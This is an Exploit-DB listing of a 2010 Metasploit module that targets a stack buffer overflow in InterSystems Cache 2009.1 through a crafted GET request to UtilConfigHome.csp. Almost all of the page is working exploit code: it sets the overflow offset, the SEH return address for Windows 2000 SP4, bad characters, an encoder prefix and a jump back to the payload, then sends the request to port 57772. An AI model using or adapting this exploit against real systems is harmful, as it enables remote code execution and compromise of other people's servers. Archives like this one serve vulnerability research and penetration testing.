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# InterSystems Cache - UtilConfigHome.csp Argument Buffer Overflow (Metasploit)

**EDB-ID:**

16807

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**   / 

**Platform:**

[WINDOWS](#)

**Date:**

2010-07-12

**Vulnerable App:**



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```
##
# $Id: intersystems_cache.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  # XXX: Needs custom body check HttpFingerprint = { :uri =>
  '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'InterSystems Cache UtilConfigHome.csp
Argument Buffer Overflow',
      'Description' => %q{
        This module exploits a stack buffer overflow in
        InterSystems Cache 2009.1.
        By sending a specially crafted GET request, an attacker may
        be able to execute
        arbitrary code.
      },
      'Author' => [ 'MC' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 9797 $',
      'References' =>
        [
          [ 'OSVDB', '60549' ],
          [ 'BID', '37177' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged' => true,
      'Payload' =>
        {
          'Space' => 650,
          'BadChars' =>
            "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret'
=> 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 29 2009')) # Initially...!

    register_options( [ Opt::RPORT(57772) ], self.class )
  end

  def exploit
    # offset to the seh frame.
    sploit = payload.encoded + rand_text_alpha_upper(target['Offset']
```

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```

- payload.encoded.length)
  # jmp $+6 | p/p/r
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
# fall into some nops, jmp back to our final payload.
sploit << make_nops(8) + [0xe9, -700].pack('CV')
# cause the av!
sploit << rand_text_alpha_upper(payload.encoded.length)

print_status("Trying target #{target.name}...")

send_request_raw({
  'uri'           => '/csp/sys/mgr/UtilConfigHome.csp=' +
sploit,
  'method'       => 'GET',
  }, 5)

  handler
end
end

```

Tags: [Metasploit Framework](#)  
([MSF](#)).

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